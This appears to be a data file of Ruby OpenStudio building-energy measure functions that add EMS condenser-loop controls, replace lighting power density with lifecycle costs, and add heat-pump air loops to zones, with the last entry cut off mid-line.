"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n verbose_info_statements = runner.getBoolArgumentValue(\"verbose_info_statements\",user_arguments)\n condensor_plant_loop_objects = runner.getOptionalWorkspaceObjectChoiceValue('condensor_plant_loop_objects', user_arguments, model) # model is passed in because of argument type\n oa_db_override_temp = runner.getDoubleArgumentValue(\"oa_db_override_temp\",user_arguments)\n internal_variable_availability_dictionary_reporting = runner.getStringArgumentValue('internal_variable_availability_dictionary_reporting', user_arguments)\n ems_runtime_language_debug_output_level = runner.getStringArgumentValue('ems_runtime_language_debug_output_level', user_arguments)\n actuator_availability_dictionary_reporting = runner.getStringArgumentValue('actuator_availability_dictionary_reporting', user_arguments)\n \n runner.registerInitialCondition(\"Measure began with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n high_limit = 50\n low_limit = 30\n \n if oa_db_override_temp > high_limit\n runner.registerWarning(\"Value of OA temp of #{oa_db_override_temp} Deg F for loop override is higher then upper warning limit of #{high_limit} Deg F.\")\n end\n \n if oa_db_override_temp < low_limit\n runner.registerWarning(\"Value of OA temp of #{oa_db_override_temp} Deg F for loop override is lower then lower warning limit of #{low_limit} Deg F.\")\n end\n \n oa_db_override_temp_SI = OpenStudio.convert(oa_db_override_temp,\"F\",\"C\")\n \n # check the plantloops for existence in model\n apply_to_all_plantloops = false\n selected_plantloop = nil\n if condensor_plant_loop_objects.empty?\n handle = runner.getStringArgumentValue('condensor_plant_loop_objects', user_arguments)\n if handle.empty?\n runner.registerError('No plant loop was chosen.')\n return false\n else\n runner.registerError(\"The selected plant loop with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n return false\n end\n else\n if !condensor_plant_loop_objects.get.to_PlantLoop.empty?\n selected_plantloop = condensor_plant_loop_objects.get.to_PlantLoop.get\n elsif !condensor_plant_loop_objects.get.to_Building.empty?\n apply_to_all_plantloops = true\n else\n runner.registerError('Script Error - argument not showing up as an air loop.')\n return false\n end\n end\n \n # define selected plantloop(s), depending on user input, add selected plantloop(s) to an array\n selected_plantloops = []\n if apply_to_all_plantloops == true\n model.getPlantLoops.each do |each_plantloop|\n if each_plantloop.sizingPlant.loopType == \"Condenser\"\n show_loop = true\n end \n if show_loop == true\n selected_plantloops << each_plantloop\n end\n end # end loop through plantloops \n else \n selected_plantloops << selected_plantloop\n end\n \n if selected_plantloops.length == 0\n runner.registerAsNotApplicable(\"Model contains no 'qualified' PlantLoops for this measure to modify.\") \n return true\n end\n \n # declare variables for proper scope\n counter = 0\n ems_oa_db_sensor = nil\n ems_control_tower_loop_operation_prgm = nil\n ems_prgm_calling_mngr = nil\n \n #Create new EMS Sensor Object representing Site Outdoor Air Drybulb Temperature\n ems_oa_db_sensor = OpenStudio::Model::EnergyManagementSystemSensor.new(model, \"Site Outdoor Air Drybulb Temperature\")\n ems_oa_db_sensor.setName(\"OutdoorTemp\")\n ems_oa_db_sensor.setKeyName(\"Environment\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Sensor object named #{ems_oa_db_sensor.name} added to the model to represent the 'Site Outdoor Air Drybulb Temperature'.\")\n end\n \n # Create a 'stub' object for the EnergyManagementSystem:Program object for actuation of the condensor loops and re-setting pump flows\n ems_control_tower_loop_operation_prgm = OpenStudio::Model::EnergyManagementSystemProgram.new(model)\n ems_control_tower_loop_operation_prgm.setName(\"TowerControl\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program object named '#{ems_control_tower_loop_operation_prgm.name}' added to control condensor plant loop operation.\") \n end\n \n # Create a new EnergyManagementSystem:ProgramCallingManager object configured to call the EMS program\n ems_prgm_calling_mngr = OpenStudio::Model::EnergyManagementSystemProgramCallingManager.new(model)\n ems_prgm_calling_mngr.setName(\"Condenser OnOff Management\")\n ems_prgm_calling_mngr.setCallingPoint(\"InsideHVACSystemIterationLoop\")\n ems_prgm_calling_mngr.addProgram(ems_control_tower_loop_operation_prgm) \n if verbose_info_statements == true\n runner.registerInfo(\"EMS Program Calling Manager object named '#{ems_prgm_calling_mngr.name}' added to call #{ems_control_tower_loop_operation_prgm.name} EMS program.\") \n end\n \n # Loop through selected plantloops\n selected_plantloops.each do |plantloop|\n \n pump = nil \n counter += 1 \n # get pump object associated with condenser loop\n plantloop.supplyComponents.each do |supply_comp|\n if not supply_comp.to_PumpConstantSpeed.empty?\n pump = supply_comp.to_PumpConstantSpeed.get\n end\n if not supply_comp.to_PumpVariableSpeed.empty?\n pump = supply_comp.to_PumpVariableSpeed.get\n end\n end # end loop through supply components\n \n # Create new EnergyManagementSystem:GlobalVariable object and configure to hold the value for PumpFlowOverrideReport\n pump_flow_override_report = OpenStudio::Model::EnergyManagementSystemGlobalVariable.new(model, \"PumpFlowOverrideReport#{counter}\")\n if verbose_info_statements == true\n runner.registerInfo(\"EMS Global Variable named '#{pump_flow_override_report.name}' to hold a pump flow override report value added to model.\") \n end\n \n # Create new EMS Actuator Object representing plant loop supervisory on/off control \n plantloop_ems_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(plantloop,\"Plant Loop Overall\",\"On/Off Supervisory\")\n plantloop_ems_actuator.setName(\"#{plantloop.name}Actuator_Loop#{counter}\".gsub(\"-\",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator Object named '#{plantloop_ems_actuator.name}' representing a way to set a plantloop on/off supervisory control status has been added to model.\") \n end\n \n # Create new EMS Actuator Object representing condenser loop pump flow override (on/off) control\n pump_flow_override_ems_actuator = OpenStudio::Model::EnergyManagementSystemActuator.new(pump,\"Pump\",\"Pump Mass Flow Rate\")\n pump_flow_override_ems_actuator.setName(\"#{plantloop.name}PumpFlowOverride#{counter}\".gsub(\"-\",\"_\"))\n if verbose_info_statements == true\n runner.registerInfo(\"An EMS Actuator Object named '#{pump_flow_override_ems_actuator.name}' representing a way to override the condensor loop pump on/off status has been added to model.\") \n end\n \n # Create new EMS Output Variable Object holding the PumpFlowOverrideReport\n ems_cond_flow_override_on_EMS_output_var = OpenStudio::Model::EnergyManagementSystemOutputVariable.new(model,pump_flow_override_report)\n ems_cond_flow_override_on_EMS_output_var.setName(\"EMS Condenser Flow Override On#{counter}\")\n ems_cond_flow_override_on_EMS_output_var.setEMSVariableName(\"#{pump_flow_override_report.name}\")\n ems_cond_flow_override_on_EMS_output_var.setTypeOfDataInVariable(\"Averaged\")\n ems_cond_flow_override_on_EMS_output_var.setUpdateFrequency(\"SystemTimeStep\")\n ems_cond_flow_override_on_EMS_output_var.setUnits(\"On/Off\") \n \n # Add logic to the EMS program as we iterate through the selected condenser plantloop\n ems_control_tower_loop_operation_prgm.addLine(\"IF (#{ems_oa_db_sensor.name} < 6.0)\")\n ems_control_tower_loop_operation_prgm.addLine(\"SET #{plantloop_ems_actuator.name} = 0.0\")\n ems_control_tower_loop_operation_prgm.addLine(\"SET #{pump_flow_override_ems_actuator.name} = 0.0\")\n ems_control_tower_loop_operation_prgm.addLine(\"SET #{ems_cond_flow_override_on_EMS_output_var.name} = 1.0\")\n ems_control_tower_loop_operation_prgm.addLine(\"ELSE\")\n ems_control_tower_loop_operation_prgm.addLine(\"SET #{plantloop_ems_actuator.name} = Null\")\n ems_control_tower_loop_operation_prgm.addLine(\"SET #{pump_flow_override_ems_actuator.name} = Null\")\n ems_control_tower_loop_operation_prgm.addLine(\"SET #{ems_cond_flow_override_on_EMS_output_var.name} = 0.0\")\n ems_control_tower_loop_operation_prgm.addLine(\"ENDIF\")\n \n output_var = OpenStudio::Model::OutputVariable.new(\"#{ems_cond_flow_override_on_EMS_output_var.name}\", model)\n output_var.setName(\"#{ems_cond_flow_override_on_EMS_output_var.name}\")\n output_var.setKeyValue(\"*\")\n output_var.setReportingFrequency(\"Hourly\")\n \n end # end loop through plantloops\n \n # create OutputEnergyManagementSystem object (a 'unique' object) and configure to allow EMS reporting\n output_EMS = model.getOutputEnergyManagementSystem\n output_EMS.setInternalVariableAvailabilityDictionaryReporting('internal_variable_availability_dictionary_reporting')\n output_EMS.setEMSRuntimeLanguageDebugOutputLevel('ems_runtime_language_debug_output_level')\n output_EMS.setActuatorAvailabilityDictionaryReporting('actuator_availability_dictionary_reporting')\n runner.registerInfo(\"Output EMS Program Object configured for model.\") \n \n # TODO - add 19 additional output variables from the E+ EMS example \"EMSPlantLoopOverrideControl.idf\", perhaps using boolean measure arguments for adding them. \n #1 Site Outdoor Air Drybulb Temperature\n #2 Cooling Tower Inlet Temperature\n #3 Cooling Tower Outlet Temperature\n #4 Cooling Tower Mass Flow Rate\n #5 Cooling Tower Heat Transfer Rate\n #6 Cooling Tower Fan Electric Power\n #7 Zone Air Temperature\n #8 Pump Electric Power\n #9 Pump Outlet Temperature\n #10 Pump Mass Flow Rate\n #11 Plant Supply Side Cooling Demand Rate\n #12 Plant Supply Side Heating Demand Rate\n #13 Plant Supply Side Inlet Mass Flow Rate\n #14 Plant Supply Side Inlet Temperature\n #15 Plant Supply Side Outlet Temperature\n \n runner.registerFinalCondition(\"Measure finished with #{model.getEnergyManagementSystemSensors.count} EMS sensors, #{model.getEnergyManagementSystemActuators.count} EMS Actuators, #{model.getEnergyManagementSystemPrograms.count} EMS Programs, #{model.getEnergyManagementSystemSubroutines.count} EMS Subroutines, #{model.getEnergyManagementSystemProgramCallingManagers.count} EMS Program Calling Manager objects\")\n \n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n\n # use the built-in error checking\n if !runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # assign the user inputs to variables\n object = runner.getOptionalWorkspaceObjectChoiceValue('space_type', user_arguments, model)\n lpd = runner.getDoubleArgumentValue('lpd', user_arguments)\n add_instance_all_spaces = runner.getBoolArgumentValue('add_instance_all_spaces', user_arguments)\n material_cost = runner.getDoubleArgumentValue('material_cost', user_arguments)\n demolition_cost = runner.getDoubleArgumentValue('demolition_cost', user_arguments)\n years_until_costs_start = runner.getIntegerArgumentValue('years_until_costs_start', user_arguments)\n demo_cost_initial_const = runner.getBoolArgumentValue('demo_cost_initial_const', user_arguments)\n expected_life = runner.getIntegerArgumentValue('expected_life', user_arguments)\n om_cost = runner.getDoubleArgumentValue('om_cost', user_arguments)\n om_frequency = runner.getIntegerArgumentValue('om_frequency', user_arguments)\n\n # check the space_type for reasonableness and see if measure should run on space type or on the entire building\n apply_to_building = false\n space_type = nil\n if object.empty?\n handle = runner.getStringArgumentValue('space_type', user_arguments)\n if handle.empty?\n runner.registerError('No SpaceType was chosen.')\n else\n runner.registerError(\"The selected space type with handle '#{handle}' was not found in the model. It may have been removed by another measure.\")\n end\n return false\n else\n if !object.get.to_SpaceType.empty?\n space_type = object.get.to_SpaceType.get\n elsif !object.get.to_Building.empty?\n apply_to_building = true\n # space_type = model.getSpaceTypes\n else\n runner.registerError('Script Error - argument not showing up as space type or building.')\n return false\n end\n end\n\n # check the lpd for reasonableness\n if (lpd < 0) || (lpd > 50)\n runner.registerError(\"A Lighting Power Density of #{lpd} W/ft^2 is above the measure limit.\")\n return false\n elsif lpd > 21\n runner.registerWarning(\"A Lighting Power Density of #{lpd} W/ft^2 is abnormally high.\")\n end\n\n # set flags to use later\n costs_requested = false\n\n # check costs for reasonableness\n if material_cost.abs + demolition_cost.abs + om_cost.abs == 0\n runner.registerInfo('No costs were requested for Exterior Lights.')\n else\n costs_requested = true\n end\n\n # check lifecycle arguments for reasonableness\n if (years_until_costs_start < 0) && (years_until_costs_start > expected_life)\n runner.registerError('Years until costs start should be a non-negative integer less than Expected Life.')\n end\n if (expected_life < 1) && (expected_life > 100)\n runner.registerError('Choose an integer greater than 0 and less than or equal to 100 for Expected Life.')\n end\n if om_frequency < 1\n runner.registerError('Choose an integer greater than 0 for O & M Frequency.')\n end\n\n # helper to make it easier to do unit conversions on the fly. The definition be called through this measure.\n def unit_helper(number, from_unit_string, to_unit_string)\n converted_number = OpenStudio.convert(OpenStudio::Quantity.new(number, OpenStudio.createUnit(from_unit_string).get), OpenStudio.createUnit(to_unit_string).get).get.value\n end\n\n # short def to make numbers pretty (converts 4125001.25641 to 4,125,001.26 or 4,125,001). The definition be called through this measure\n def neat_numbers(number, roundto = 2) # round to 0 or 2)\n if roundto == 2\n number = format '%.2f', number\n else\n number = number.round\n end\n # regex to add commas\n number.to_s.reverse.gsub(/([0-9]{3}(?=([0-9])))/, '\\\\1,').reverse\n end\n\n # helper that loops through lifecycle costs getting total costs under \"Construction\" or \"Salvage\" category and add to counter if occurs during year 0\n def get_total_costs_for_objects(objects)\n counter = 0\n objects.each do |object|\n object_LCCs = object.lifeCycleCosts\n object_LCCs.each do |object_LCC|\n if (object_LCC.category == 'Construction') || (object_LCC.category == 'Salvage')\n if object_LCC.yearsFromStart == 0\n counter += object_LCC.totalCost\n end\n end\n end\n end\n return counter\n end\n\n # helper def to add to demo cost related to baseline objects\n def add_to_baseline_demo_cost_counter(baseline_object) # removed if statement from def\n counter = 0\n baseline_object_LCCs = baseline_object.lifeCycleCosts\n baseline_object_LCCs.each do |baseline_object_LCC|\n if baseline_object_LCC.category == 'Salvage'\n counter += baseline_object_LCC.totalCost\n end\n end\n return counter\n end\n\n # setup OpenStudio units that we will need\n unit_lpd_ip = OpenStudio.createUnit('W/ft^2').get\n unit_lpd_si = OpenStudio.createUnit('W/m^2').get\n\n # define starting units\n lpd_ip = OpenStudio::Quantity.new(lpd, unit_lpd_ip)\n\n # unit conversion of lpd from IP units (W/ft^2) to SI units (W/m^2)\n lpd_si = OpenStudio.convert(lpd_ip, unit_lpd_si).get\n\n # calculate the initial lights and luminaires cost for initial condition\n light_defs = model.getLightsDefinitions\n luminaire_defs = model.getLuminaireDefinitions\n initial_lighting_cost = 0\n initial_lighting_cost += get_total_costs_for_objects(light_defs)\n initial_lighting_cost += get_total_costs_for_objects(luminaire_defs)\n\n # counter for demo cost of baseline objects\n demo_costs_of_baseline_objects = 0\n\n # get demo cost if all existing lights and luminaires are removed\n if demo_cost_initial_const\n light_defs.each do |light_def|\n demo_costs_of_baseline_objects += add_to_baseline_demo_cost_counter(light_def)\n end\n luminaire_defs.each do |luminaire_def|\n demo_costs_of_baseline_objects += add_to_baseline_demo_cost_counter(luminaire_def)\n end\n end\n\n # find most common lights schedule for use in spaces that do not have lights\n light_sch_hash = {}\n # add schedules or lights directly assigned to space\n model.getSpaces.each do |space|\n space.lights.each do |light|\n if light.schedule.is_initialized\n sch = light.schedule.get\n if light_sch_hash.key?(sch)\n light_sch_hash[sch] += 1\n else\n light_sch_hash[sch] = 1\n end\n end\n end\n # add schedule for lights assigned to space types\n if space.spaceType.is_initialized\n space.spaceType.get.lights.each do |light|\n if light.schedule.is_initialized\n sch = light.schedule.get\n if light_sch_hash.key?(sch)\n light_sch_hash[sch] += 1\n else\n light_sch_hash[sch] = 1\n end\n end\n end\n end\n end\n most_comm_sch = light_sch_hash.key(light_sch_hash.values.max)\n\n # report initial condition\n building = model.getBuilding\n building_start_lpd_si = OpenStudio::Quantity.new(building.lightingPowerPerFloorArea, unit_lpd_si)\n building_start_lpd_ip = OpenStudio.convert(building_start_lpd_si, unit_lpd_ip).get\n runner.registerInitialCondition(\"The model's initial LPD is #{building_start_lpd_ip}. Initial Year 0 cost for building lighting is $#{neat_numbers(initial_lighting_cost, 0)}.\")\n\n # add if statement for NA if LPD = 0\n if building_start_lpd_ip.value <= 0\n runner.registerAsNotApplicable('The model has no lights, nothing will be changed.')\n end\n\n # create a new LightsDefinition and new Lights object to use with setLightingPowerPerFloorArea\n template_light_def = OpenStudio::Model::LightsDefinition.new(model)\n template_light_def.setName(\"LPD #{lpd_ip} - LightsDef\")\n template_light_def.setWattsperSpaceFloorArea(lpd_si.value)\n\n template_light_inst = OpenStudio::Model::Lights.new(template_light_def)\n template_light_inst.setName(\"LPD #{lpd_ip} - LightsInstance\")\n\n # add lifeCycleCost objects if there is a non-zero value in one of the cost arguments\n if costs_requested == true\n\n starting_lcc_counter = template_light_def.lifeCycleCosts.size\n\n # get si input values for lcc objects\n material_cost_si = unit_helper(material_cost, '1/ft^2', '1/m^2')\n demolition_cost_si = unit_helper(demolition_cost, '1/ft^2', '1/m^2')\n om_cost_si = unit_helper(om_cost, '1/ft^2', '1/m^2')\n\n # adding new cost items\n lcc_mat = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Mat - #{template_light_def.name}\", template_light_def, material_cost_si, 'CostPerArea', 'Construction', expected_life, years_until_costs_start)\n lcc_demo = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_Demo - #{template_light_def.name}\", template_light_def, demolition_cost_si, 'CostPerArea', 'Salvage', expected_life, years_until_costs_start + expected_life)\n lcc_om = OpenStudio::Model::LifeCycleCost.createLifeCycleCost(\"LCC_OM - #{template_light_def.name}\", template_light_def, om_cost_si, 'CostPerArea', 'Maintenance', om_frequency, 0)\n\n if template_light_def.lifeCycleCosts.size - starting_lcc_counter != 3\n runner.registerWarning(\"The measure did not function as expected. #{template_light_def.lifeCycleCosts.size - starting_lcc_counter} LifeCycleCost objects were made, 3 were expected.\")\n end\n\n end\n\n # show as not applicable if no cost requested\n if costs_requested == false\n runner.registerAsNotApplicable('No new lifecycle costs objects were requested.')\n end\n\n # get space types in model\n if apply_to_building\n space_types = model.getSpaceTypes\n else\n space_types = []\n space_types << space_type # only run on a single space type\n end\n\n # loop through space types\n space_types.each do |space_type|\n space_type_lights = space_type.lights\n space_type_spaces = space_type.spaces\n multiple_schedules = false\n\n space_type_lights_array = []\n\n # if space type has lights and is used in the model\n if !space_type_lights.empty? && !space_type_spaces.empty?\n lights_schedules = []\n space_type_lights.each do |space_type_light|\n lights_data_for_array = []\n if !space_type_light.schedule.empty?\n space_type_light_new_schedule = space_type_light.schedule\n if !space_type_light_new_schedule.empty?\n lights_schedules << space_type_light.powerPerFloorArea\n if !space_type_light.powerPerFloorArea.empty?\n lights_data_for_array << space_type_light.powerPerFloorArea.get\n else\n lights_data_for_array << 0.0\n end\n lights_data_for_array << space_type_light_new_schedule.get\n lights_data_for_array << space_type_light.isScheduleDefaulted\n space_type_lights_array << lights_data_for_array\n end\n end\n end\n\n # pick schedule to use and see if it is defaulted\n space_type_lights_array = space_type_lights_array.sort.reverse[0]\n if !space_type_lights_array.nil? # this is need if schedule is empty but also not defaulted\n if space_type_lights_array[2] != true # if not schedule defaulted\n preferred_schedule = space_type_lights_array[1]\n else\n # leave schedule blank, it is defaulted\n end\n end\n\n # flag if lights_schedules has more than one unique object\n if lights_schedules.uniq.size > 1\n multiple_schedules = true\n end\n\n # delete lights and luminaires and add in new light.\n space_type_lights = space_type.lights\n space_type_luminaires = space_type.luminaires\n space_type_lights.each(&:remove)\n space_type_luminaires.each(&:remove)\n space_type_light_new = template_light_inst.clone(model)\n space_type_light_new = space_type_light_new.to_Lights.get\n space_type_light_new.setSpaceType(space_type)\n\n # assign preferred schedule to new lights object\n if defined? space_type_lights_array\n if !space_type_light_new.schedule.empty? && (space_type_lights_array[2] != true)\n space_type_light_new.setSchedule(preferred_schedule)\n end\n else\n runner.registerWarning(\"Not adding schedule for light in #{space_type.name}, no original light to harvest schedule from.\")\n end\n\n # if schedules had to be removed due to multiple lights add warning\n if !space_type_light_new.schedule.empty? && (multiple_schedules == true)\n space_type_light_new_schedule = space_type_light_new.schedule\n runner.registerWarning(\"The space type named '#{space_type.name}' had more than one light object with unique schedules. The schedule named '#{space_type_light_new_schedule.get.name}' was used for the new LPD light object.\")\n end\n\n elsif space_type_lights.empty? && !space_type_spaces.empty?\n runner.registerInfo(\"The space type named '#{space_type.name}' doesn't have any lights, none will be added.\")\n end\n end\n\n # getting spaces in the model\n spaces = model.getSpaces\n\n # get space types in model\n if apply_to_building\n spaces = model.getSpaces\n else\n if !space_type.spaces.empty?\n spaces = space_type.spaces # only run on a single space type\n end\n end\n\n spaces.each do |space|\n space_lights = space.lights\n space_luminaires = space.luminaires\n space_space_type = space.spaceType\n if !space_space_type.empty?\n space_space_type_lights = space_space_type.get.lights\n else\n space_space_type_lights = []\n end\n\n # array to manage light schedules within a space\n space_lights_array = []\n\n # if space has lights and space type also has lights\n if !space_lights.empty? && !space_space_type_lights.empty?\n\n # loop through and remove all lights and luminaires\n space_lights.each(&:remove)\n runner.registerWarning(\"The space named '#{space.name}' had one or more light objects. These were deleted and a new LPD light object was added to the parent space type named '#{space_space_type.get.name}'.\")\n\n space_luminaires.each(&:remove)\n if !space_luminaires.empty?\n runner.registerWarning('Luminaire objects have been removed. Their schedules were not taken into consideration when choosing schedules for the new LPD light object.')\n end\n\n elsif !space_lights.empty? && space_space_type_lights.empty?\n\n # inspect schedules for light objects\n multiple_schedules = false\n lights_schedules = []\n space_lights.each do |space_light|\n lights_data_for_array = []\n if !space_light.schedule.empty?\n space_light_new_schedule = space_light.schedule\n if !space_light_new_schedule.empty?\n lights_schedules << space_light.powerPerFloorArea\n if !space_light.powerPerFloorArea.empty?\n lights_data_for_array << space_light.powerPerFloorArea.get\n else\n lights_data_for_array << 0.0\n end\n lights_data_for_array << space_light_new_schedule.get\n lights_data_for_array << space_light.isScheduleDefaulted\n space_lights_array << lights_data_for_array\n end\n end\n end\n\n # pick schedule to use and see if it is defaulted\n space_lights_array = space_lights_array.sort.reverse[0]\n if !space_lights_array.nil?\n if space_lights_array[2] != true\n preferred_schedule = space_lights_array[1]\n else\n # leave schedule blank, it is defaulted\n end\n end\n\n # flag if lights_schedules has more than one unique object\n if lights_schedules.uniq.size > 1\n multiple_schedules = true\n end\n\n # delete lights and luminaires and add in new light.\n space_lights.each(&:remove)\n space_luminaires.each(&:remove)\n space_light_new = template_light_inst.clone(model)\n space_light_new = space_light_new.to_Lights.get\n space_light_new.setSpace(space)\n\n # assign preferred schedule to new lights object\n if defined? space_type_lights_array\n if !space_light_new.schedule.empty? && (space_type_lights_array[2] != true)\n space_light_new.setSchedule(preferred_schedule)\n end\n else\n runner.registerWarning(\"Not adding schedule for light in #{space.name}, no original light to harvest schedule from.\")\n end\n\n # if schedules had to be removed due to multiple lights add warning here\n if !space_light_new.schedule.empty? && (multiple_schedules == true)\n space_light_new_schedule = space_light_new.schedule\n runner.registerWarning(\"The space type named '#{space.name}' had more than one light object with unique schedules. The schedule named '#{space_light_new_schedule.get.name}' was used for the new LPD light object.\")\n end\n\n elsif space_lights.empty? && space_space_type_lights.empty?\n\n # add in light for spaces that do not have any with most common schedule\n if add_instance_all_spaces && space.partofTotalFloorArea\n space_light_new = template_light_inst.clone(model)\n space_light_new = space_light_new.to_Lights.get\n space_light_new.setSpace(space)\n space_light_new.setSchedule(most_comm_sch)\n runner.registerInfo(\"Adding light to #{space.name} using #{most_comm_sch.name} as fractional schedule.\")\n else\n # issue warning that the space does not have any direct or inherited lights.\n runner.registerInfo(\"The space named '#{space.name}' does not have any direct or inherited lights. No light was added\")\n end\n\n end\n end\n\n # subtract demo cost of lights and luminaires that were not deleted so the demo costs are not counted\n if demo_cost_initial_const\n light_defs.each do |light_def| # this does not loop through the new def (which is the desired behavior)\n demo_costs_of_baseline_objects += -1 * add_to_baseline_demo_cost_counter(light_def)\n puts \"#{light_def.name},#{add_to_baseline_demo_cost_counter(light_def)}\"\n end\n luminaire_defs.each do |luminaire_def|\n demo_costs_of_baseline_objects += -1 * add_to_baseline_demo_cost_counter(luminaire_def)\n end\n end\n\n # clean up template light instance. Will EnergyPlus will fail if you have an instance that isn't associated with a space or space type\n template_light_inst.remove\n\n # calculate the final lights and cost for initial condition.\n light_defs = model.getLightsDefinitions # this is done again to get the new def made by the measure\n luminaire_defs = model.getLuminaireDefinitions\n final_lighting_cost = 0\n final_lighting_cost += get_total_costs_for_objects(light_defs)\n final_lighting_cost += get_total_costs_for_objects(luminaire_defs)\n\n # add one time demo cost of removed lights and luminaires if appropriate\n if demo_cost_initial_const == true\n building = model.getBuilding\n lcc_baseline_demo = OpenStudio::Model::LifeCycleCost.createLifeCycleCost('LCC_baseline_demo', building, demo_costs_of_baseline_objects, 'CostPerEach', 'Salvage', 0, years_until_costs_start).get # using 0 for repeat period since one time cost.\n runner.registerInfo(\"Adding one time cost of $#{neat_numbers(lcc_baseline_demo.totalCost, 0)} related to demolition of baseline objects.\")\n\n # if demo occurs on year 0 then add to initial capital cost counter\n if lcc_baseline_demo.yearsFromStart == 0\n final_lighting_cost += lcc_baseline_demo.totalCost\n end\n end\n\n # report final condition\n building_final_lpd_si = OpenStudio::Quantity.new(building.lightingPowerPerFloorArea, unit_lpd_si)\n building_final_lpd_ip = OpenStudio.convert(building_final_lpd_si, unit_lpd_ip).get\n runner.registerFinalCondition(\"Your model's final LPD is #{building_final_lpd_ip}. Final Year 0 cost for building lighting is $#{neat_numbers(final_lighting_cost, 0)}.\")\n\n return true\n end",
"def run(model, runner, user_arguments)\n super(model, runner, user_arguments)\n \n # use the built-in error checking \n if not runner.validateUserArguments(arguments(model), user_arguments)\n return false\n end\n\n # Retrieve arguments' values\n delete_existing = runner.getBoolArgumentValue('delete_existing', user_arguments)\n cop_cooling = runner.getDoubleArgumentValue('cop_cooling', user_arguments)\n cop_heating = runner.getDoubleArgumentValue('cop_heating', user_arguments)\n has_electric_coil = runner.getBoolArgumentValue('has_electric_coil', user_arguments)\n has_dcv = runner.getBoolArgumentValue('has_dcv', user_arguments)\n\n # Get fan_pressure_rise: this is an OptionalDouble - we'll use '.get' later\n fan_pressure_rise = runner.getOptionalDoubleArgumentValue('fan_pressure_rise', user_arguments)\n \n # FanType\n fan_type = runner.getStringArgumentValue('fan_type', user_arguments)\n runner.registerInfo(\"Fan type: #{fan_type}\")\n\n if fan_type == 'Variable Volume (VFD)'\n has_vfd = true\n else\n has_vfd = false\n end\n\n filter_type = runner.getStringArgumentValue(\"filter_type\",user_arguments)\n\n if filter_type == \"By Space Type\"\n space_type = runner.getOptionalWorkspaceObjectChoiceValue(\"space_type\",user_arguments,model)\n if not space_type.empty?\n space_type = space_type.get\n if not space_type.to_SpaceType.empty?\n space_type = space_type.to_SpaceType.get\n zones = []\n space_type.spaces.each do |space|\n if not space.thermalZone.empty?\n z = space.thermalZone.get\n zones << z\n end\n end\n end\n end\n\n elsif filter_type == \"By Space Type's 'Standards Space Type'\"\n\n standards_space_type = runner.getOptionalStringArgumentValue(\"standards_space_type\", user_arguments)\n puts standards_space_type.class\n\n if not standards_space_type.empty?\n standards_space_type = standards_space_type.get\n puts standards_space_type\n space_types = model.getSpaceTypes\n\n zones = []\n\n space_types.each do |space_type|\n if space_type.standardsSpaceType.to_s.upcase == standards_space_type.upcase\n space_type.spaces.each do |space|\n if not space.thermalZone.empty?\n z = space.thermalZone.get\n # We MUST check if zone isn't in there yet (or at the end do zones.uniq!) because several spaces can refer to the same thermal zone!\n if not zones.include?(z)\n zones << z\n end\n end\n end\n end\n end\n end\n\n else\n # Zone filter\n zone_filter = runner.getOptionalStringArgumentValue('zone_filter', user_arguments)\n\n # Get all thermal zones\n all_zones = model.getThermalZones\n\n # Array to store the zones that match the filter\n zones = []\n all_zones.each do |z|\n # Skip zone if name doesn't include zone_filter\n # Putting everything in Upper Case to make it case insensitive\n if !zone_filter.empty?\n if z.name.to_s.upcase.include? zone_filter.to_s.upcase\n zones << z\n end\n end\n end\n\n if zones.empty?\n runner.registerError(\"Your zone filter #{zone_filter} did not match anything\")\n return false\n end\n\n end # End of if filter_type\n\n\n # Output zone names to console\n puts \"\\n\\n================ ZONES THAT MATCHED THE FILTER ================\\n\"\n zones.each do |z|\n puts z.name\n end\n\n #info for initial condition\n initial_num_air_loops_demand_control = 0\n final_num_air_loops_demand_control = 0\n initial_num_fan_VFD = 0\n final_num_fan_VFD = 0\n delete_existing_air_loops = 0\n delete_existing_chiller_loops = 0\n delete_existing_condenser_loops = 0\n affected_loops = 0\n\n\n # If we need to delete existing HVAC loops, we'll store the PRE-EXISTING Loops in the following variables,\n # They will be used for clean up at the end\n if delete_existing\n air_loops = model.getAirLoopHVACs\n runner.registerInfo(\"Number of initial AirLoopHVACs: #{air_loops.size}\")\n plant_loops = model.getPlantLoops\n runner.registerInfo(\"Number of initial PlantLoops: #{plant_loops.size}\")\n end\n\n\n\n # For each thermal zones (zones is initialized above, depending on which filter you chose)\n zones.each do |z|\n \n # Create a system 4 (PSZ-HP)\n air_handler = OpenStudio::Model::addSystemType4(model).to_AirLoopHVAC.get\n \n # Set name of Air Loop to be thermal_zone + 'Airloop'\n # Local variable name convention for a non-constant (dynamic) value is 'snake_case'\n base_name = z.name.to_s\n air_handler.setName(base_name + ' AirLoop')\n \n \n # Get existing fan, created with System 4, constant volume by default\n old_fan = air_handler.supplyComponents(OpenStudio::Model::FanConstantVolume::iddObjectType).first\n old_fan = old_fan.to_FanConstantVolume.get\n \n #If you want a VFD, we replace it with a Variable Volume one\n if has_vfd\n \n # Get the outlet node after the existing fan on the loop \n next_node = old_fan.outletModelObject.get.to_Node.get\n \n #Create the new Variable speed fan\n fan = OpenStudio::Model::FanVariableVolume.new(model)\n \n #Add the new fan to the oulet node of the existing fan\n #before deleting the existing one\n fan.addToNode(next_node)\n \n # Remove the existing fan. When this happens, either the pump's\n # inlet or outlet node will be deleted and the other will remain\n old_fan.remove\n \n # Rename the fan clearly \n fan.setName(base_name + ' Variable Volume Fan')\n \n # If fan_pressure_rise has a non zero null value, assign it.\n if !fan_pressure_rise.empty?\n #We need the .get because this is an OptionalDouble. the .get will return a Double (float)\n 